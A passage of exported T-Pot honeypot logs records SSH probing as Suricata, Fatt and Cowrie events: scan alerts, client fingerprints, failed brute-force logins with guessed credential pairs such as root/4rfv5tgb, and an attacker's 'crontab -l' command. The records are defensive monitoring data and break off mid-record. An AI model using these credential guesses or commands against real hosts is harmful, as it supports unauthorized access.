31111	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:41:54.376328+03	2021-09-20 14:45:04.060174+03	{"_id": "owYDA3wBvYTbRNuEOEFk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 1503674283154040, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48844, "dest_port": 22, "timestamp": "2021-09-20T11:41:54.376328Z", "@timestamp": "2021-09-20T11:41:54.376Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31112	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:41:54.37653+03	2021-09-20 14:45:04.062172+03	{"_id": "pAYDA3wBvYTbRNuEOEFl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:41:53.809592+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1503674283154040, "payload": "AAADzAYUVGmCgki3ZwtyuIJijmARvgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48844, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:41:54.376530Z", "@timestamp": "2021-09-20T11:41:54.376Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Ti..H.g.r..b.`.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31113	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:41:54.37653+03	2021-09-20 14:45:04.064172+03	{"_id": "pQYDA3wBvYTbRNuEOUFV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48844, "dest_port": 22, "timestamp": "2021-09-20T11:41:54.376530", "@timestamp": "2021-09-20T11:41:54.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31114	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:41:55.602216+03	2021-09-20 14:45:04.065171+03	{"_id": "pgYDA3wBvYTbRNuEOkGP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [backup/1q2w3e4r] failed", "session": "1a97736caa60", "@version": "1", "password": "1q2w3e4r", "username": "backup", "timestamp": "2021-09-20T11:41:55.602216Z", "@timestamp": "2021-09-20T11:41:55.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31115	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:41:47.601812+03	2021-09-20 14:45:04.066176+03	{"_id": "igYDA3wBvYTbRNuEG0FL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:57200 (192.168.176.2:22) [session: 6aea2de832bd]", "session": "6aea2de832bd", "@version": "1", "protocol": "ssh", "src_port": 57200, "dest_port": 22, "timestamp": "2021-09-20T11:41:47.601812Z", "@timestamp": "2021-09-20T11:41:47.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31116	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:41:47.65231+03	2021-09-20 14:45:04.068177+03	{"_id": "iwYDA3wBvYTbRNuEHUEK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 2079367404154327, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57200, "dest_port": 22, "timestamp": "2021-09-20T11:41:47.652310Z", "@timestamp": "2021-09-20T11:41:47.652Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31364	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:10.477785+03	2021-09-20 14:45:04.389142+03	{"_id": "WQYFA3wBvYTbRNuESkMq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:10.477785Z", "@timestamp": "2021-09-20T11:44:10.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31117	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:41:47.652386+03	2021-09-20 14:45:04.069142+03	{"_id": "jgYDA3wBvYTbRNuEHUH6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57200, "dest_port": 22, "timestamp": "2021-09-20T11:41:47.652386", "@timestamp": "2021-09-20T11:41:47.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31118	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:41:47.95526+03	2021-09-20 14:45:04.071141+03	{"_id": "lAYDA3wBvYTbRNuEH0E0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [test1/test] failed", "session": "6aea2de832bd", "@version": "1", "password": "test", "username": "test1", "timestamp": "2021-09-20T11:41:47.955260Z", "@timestamp": "2021-09-20T11:41:47.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31119	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:42:13.749349+03	2021-09-20 14:45:04.072142+03	{"_id": "wgYDA3wBvYTbRNuEhEHP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "f70ed30396f6", "@version": "1", "duration": 1.273550271987915, "timestamp": "2021-09-20T11:42:13.749349Z", "@timestamp": "2021-09-20T11:42:13.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31120	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:42:14.358352+03	2021-09-20 14:45:04.073142+03	{"_id": "wwYDA3wBvYTbRNuEhkGN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 33779, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 254964082833360, "@version": "1", "in_iface": "enp5s0", "src_port": 59869, "dest_port": 53, "timestamp": "2021-09-20T11:42:14.358352Z", "@timestamp": "2021-09-20T11:42:14.358Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31121	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:42:14.453442+03	2021-09-20 14:45:04.074142+03	{"_id": "xQYDA3wBvYTbRNuEh0F9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35556, "timestamp": "2021-09-20T11:42:14.453442", "@timestamp": "2021-09-20T11:42:14.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31122	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:41:56.887331+03	2021-09-20 14:45:04.076142+03	{"_id": "qAYDA3wBvYTbRNuEQkFg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1a97736caa60", "@version": "1", "duration": 2.7933883666992188, "timestamp": "2021-09-20T11:41:56.887331Z", "@timestamp": "2021-09-20T11:41:56.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31123	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:42:31.972469+03	2021-09-20 14:45:04.077142+03	{"_id": "5QYDA3wBvYTbRNuEyEH8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:42:31.972469+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2177887514384053, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 62046, "dest_port": 22, "timestamp": "2021-09-20T11:42:31.972469Z", "@timestamp": "2021-09-20T11:42:31.972Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
31124	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:42:32.493283+03	2021-09-20 14:45:04.078142+03	{"_id": "8gYDA3wBvYTbRNuEzUHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 62046, "dest_port": 22, "timestamp": "2021-09-20T11:42:32.493283", "@timestamp": "2021-09-20T11:42:32.493Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31125	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:42:33.884314+03	2021-09-20 14:45:04.080141+03	{"_id": "8wYDA3wBvYTbRNuE0kH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4rfv5tgb] failed", "session": "962f320b0dcc", "@version": "1", "password": 